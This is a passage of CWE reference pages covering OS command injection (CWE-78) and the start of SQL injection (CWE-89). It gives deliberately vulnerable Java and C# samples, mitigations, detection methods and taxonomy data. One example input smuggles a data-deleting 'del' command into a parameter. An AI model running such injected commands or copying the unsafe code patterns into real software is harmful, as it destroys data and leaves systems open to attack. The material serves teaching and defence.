// process results of coordinate transform

// ...
}
catch(Exception e) {...}
return utmCoords;
}

However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&' followed by the command for another program to the end of the coordinate string. The '&' instructs the Windows operating system to execute another program.

Example 6

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

(bad code)
Example Language: Java 
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
c:\\util\\rmanDB.bat "
+btype+
"&&c:\\utl\\cleanup.bat\"")

System.Runtime.getRuntime().exec(cmd);
...

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms\\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

+ Observed Examples
ReferenceDescription
OS command injection in Wi-Fi router, as exploited in the wild per CISA KEV.
Template functionality in network configuration management tool allows OS command injection, as exploited in the wild per CISA KEV.
Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV.
Canonical example of OS command injection. CGI program does not neutralize "|" metacharacter when invoking a phonebook program.
Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.
Web server allows command execution using "|" (pipe) character.
FTP client does not filter "|" from filenames returned by the server, allowing for OS command injection.
Shell metacharacters in a filename in a ZIP archive
Shell metacharacters in a telnet:// link are not properly handled when the launching application processes the link.
OS command injection through environment variable.
OS command injection through https:// URLs
Chain: incomplete denylist for OS command injection
Product allows remote users to execute arbitrary commands by creating a file whose pathname contains shell metacharacters.
+ Potential Mitigations

Phase: Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design

Strategy: Attack Surface Reduction

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.

If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

Phase: Operation

Strategy: Sandbox or Jail

Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke OS commands, leading to false negatives - especially if the API/library code is not available for analysis.

Note: This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • Program Invocation
+ Affected Resources
  • System Process
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.714OWASP Top Ten 2007 Category A3 - Malicious File Execution
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.727OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.741CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.744CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.810OWASP Top Ten 2010 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.845The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8642011 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.878CERT C++ Secure Coding Section 10 - Environment (ENV)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.929OWASP Top Ten 2013 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1027OWASP Top Ten 2017 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1134SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1165SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Terminology

The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.

Research Gap

More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEROS Command Injection
OWASP Top Ten 2007A3CWE More SpecificMalicious File Execution
OWASP Top Ten 2004A6CWE More SpecificInjection Flaws
CERT C Secure CodingENV03-CSanitize the environment when invoking external programs
CERT C Secure CodingENV33-CCWE More SpecificDo not call system()
CERT C Secure CodingSTR02-CSanitize data passed to complex subsystems
WASC31OS Commanding
The CERT Oracle Secure Coding Standard for Java (2011)IDS07-JDo not pass untrusted, unsanitized data to the Runtime.exec() method
Software Fault PatternsSFP24Tainted input to command
OMG ASCSMASCSM-CWE-78
+ References
[REF-140] Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. 2004-02-27. <https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958>. URL validated: 2023-04-07.
[REF-685] Pascal Meunier. "Meta-Character Vulnerabilities". 2008-02-20. <https://web.archive.org/web/20100714032622/https://www.cs.purdue.edu/homes/cs390s/slides/week09.pdf>. URL validated: 2023-04-07.
[REF-686] Robert Auger. "OS Commanding". 2009-06. <http://projects.webappsec.org/w/page/13246950/OS%20Commanding>. URL validated: 2023-04-07.
[REF-687] Lincoln Stein and John Stewart. "The World Wide Web Security FAQ". chapter: "CGI Scripts". 2002-02-04. <https://www.w3.org/Security/Faq/wwwsf4.html>. URL validated: 2023-04-07.
[REF-688] Jordan Dimov, Cigital. "Security Issues in Perl Scripts". <https://www.cgisecurity.com/lib/sips.html>. URL validated: 2023-04-07.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 10: Command Injection." Page 171. McGraw-Hill. 2010.
[REF-690] Frank Kim. "Top 25 Series - Rank 9 - OS Command Injection". SANS Software Security Institute. 2010-02-24. <https://www.sans.org/blog/top-25-series-rank-9-os-command-injection/>. URL validated: 2023-04-07.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Shell Metacharacters", Page 425. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-78. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Observed_Examples, Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Research_Gaps, Terminology_Notes
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Name, Related_Attack_Patterns
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated Description, Name, White_Box_Definitions
2009-10-29CWE Content TeamMITRE
updated Observed_Examples, References
2009-12-28CWE Content TeamMITRE
updated Detection_Factors
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Description, Detection_Factors, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Terminology_Notes
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2021-07-20CWE Content TeamMITRE
updated Observed_Examples, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Demonstrative_Examples
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Common_Consequences, Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11OS Command Injection
2009-01-12Failure to Sanitize Data into an OS Command (aka 'OS Command Injection')
2009-05-27Failure to Preserve OS Command Structure (aka 'OS Command Injection')
2009-07-27Failure to Preserve OS Command Structure ('OS Command Injection')
2010-06-21Improper Sanitization of Special Elements used in an OS Command ('OS Command Injection')

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Weakness ID: 89
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.
+ Extended Description

Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.

SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or product package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.943Improper Neutralization of Special Elements in Data Query Logic
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.564SQL Injection: Hibernate
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.456Missing Initialization of a Variable
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.564SQL Injection: Hibernate
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses in OWASP Top Ten (2013)" (CWE-928)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.564SQL Injection: Hibernate
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
ImplementationThis weakness typically appears in data-rich applications that save user inputs in a database.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Database Server (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.
Access Control

Technical Impact: Bypass Protection Mechanism

If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.
Access Control

Technical Impact: Bypass Protection Mechanism

If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.
Integrity

Technical Impact: Modify Application Data

Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL injection attack.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code.

Example 2

The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

(bad code)
Example Language: C# 
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '" + userName + "' AND itemname = '" + ItemName.Text + "'";
